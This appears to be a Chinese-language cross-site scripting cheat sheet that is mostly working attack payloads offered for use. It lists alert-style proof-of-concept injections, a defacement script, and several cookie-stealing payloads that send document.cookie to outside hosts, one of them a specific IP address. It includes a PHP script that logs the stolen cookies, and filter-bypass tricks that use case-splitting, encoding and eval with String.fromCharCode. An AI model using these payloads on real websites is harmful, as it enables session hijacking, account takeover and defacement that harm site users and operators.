poc
- <script>alert('xss')</script> 最簡單常用的poc
- "><script>alert(1)<script>
- <a href='' onclick=alert('xss')>type</a> 頁面出現一個按鈕type,點擊觸發onclick,然后執行彈窗
- <img src=http://1.1.1.1/a.ipg onerror=alert('xss')> 加載圖片,給一個錯誤的圖片地址,錯誤則執行彈窗
- <script>window.location=‘http://1.1.1.1'</script> 重定向到指定的url地址
- <iframe SRC="http://1.1.1.1/victim" height = "0" width ="0"></iframe>
- onmouseover=alert(document.domain) 閉合屬性,構造on事件
- onmousemove=alert(1)
-
<input type=”text ” onfocus=prompt(1) autofocus>
利用input的autofocus屬性,無需用戶交互即可觸發xss.
- htmlspecialchars:輸入常用符號,看哪些符號沒被實體編碼。
- 如輸入在herf或src里面:javascript:alert(1)
- js輸出,輸入的數據由js變量接收,通過</script>閉合即可
exp
-
<script>document.body.innerHTML="<div style=visibility:visible;><h1>THIS
WEBSITE IS UNDER ATTACK</h1></div>";</script>- 篡改頁面,將頁面篡改為<h1></h1>里面顯示的文字
-
<script>new Image().src="http://yourhost/getcookie.php?
cookie="+document.cookie;</script>- 將別人登錄的cookie信息捕獲到自己的服務器上
- 自己的服務器上編寫一個接收cookie信息的php腳本getcookie.php
- 此腳本將接收到的cookie信息寫入到自動創建的txt文本cookie.txt里面
- <script>document.location='http://47.99.184.173/getcookie.php?cookie='+document.cookie;</script>
- 與上一個獲取cookie信息的payload相似,相當於這是第二種獲取cookie信息的exp
- <script src=http://1.1.1.1/a.js></script>
- 自己服務器上a,js的源碼為:
-
var img = new Image(); img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
- 獲取cookie信息的第三種方式,這種方式的payload比較簡短,便於很好的利用。
- 這種間接的方式,可以適用於所有的exp,將攻擊代碼放在服務器上的一個js文件里面,然后再漏洞點利用<script>訪問
附上一個簡短的getcookie.php腳本
<?php $cookie = $_GET['cookie']; $log = fopen("cookie.txt", "w"); fwrite($log, $cookie ."\n"); fclose($log); ?>
繞過方法
- 利用js雙寫或者大些小繞過:<scscriptript>alert(1)</scrscriptipt>
- 利用input彈窗
' oninput=alert`1` // ' oninput=alert`1` ' ' onchange=alert`1` // ' onchange=alert`1` '
-
利用鏈接彈窗(a標簽)<a href="javascript:alert(1)">click me</a> //
- 利用html實體編碼繞過
- 利用換行繞過
- 轉義字符:將xss語句轉換為含有“\”16進制或者8進制
(工具地址:http://tools88.com/safe/xss.php)
- UBB標簽:UBB標簽是目前廣泛運用到論壇,留言簿,以及其他網站系統的一種編碼標簽,類似[img]url[/img]這樣的,用戶在中間輸入地址后即可,在發表的時候系統會自動改成<img src=”url”></img>。這個URL就是用戶輸入的圖片地址,XSS攻擊中,可以利用這個特點來達到無需用戶輸入<>就能執行由用戶所輸入的代碼,我們只要在輸入網址的地方輸入:
x"/**/onerror="alert('poruin')
-
-
那么經過轉換后就變成了<img src="x"/**/onerror="alert('poruin')"></img>
在JS中空格可以用/**/轉換,如圖:
-
3.JS還原函數
JS中的編碼還原函數最常用的就是String.fromCharCode了,這個函數用於ascii碼的還原,一般來說,這個函數都要配合EVAL來使用才有效果。
在跨站中,String.fromCharCode主要是使到一些已經被列入黑名單的關鍵字或語句安全通過檢測,把關鍵字或語句轉換成為ASCII碼,然后再用String.fromCharCode還原,因為大多數的過濾系統都不會把String.fromCharCode加以過濾,例如關鍵字alert被過濾掉,那就可以這么利用:
<img src="x"/**/onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))"></img>
XSS過濾繞過速查表:https://www.freebuf.com/articles/web/153055.html
xss公共平台:http://xss.fbisb.com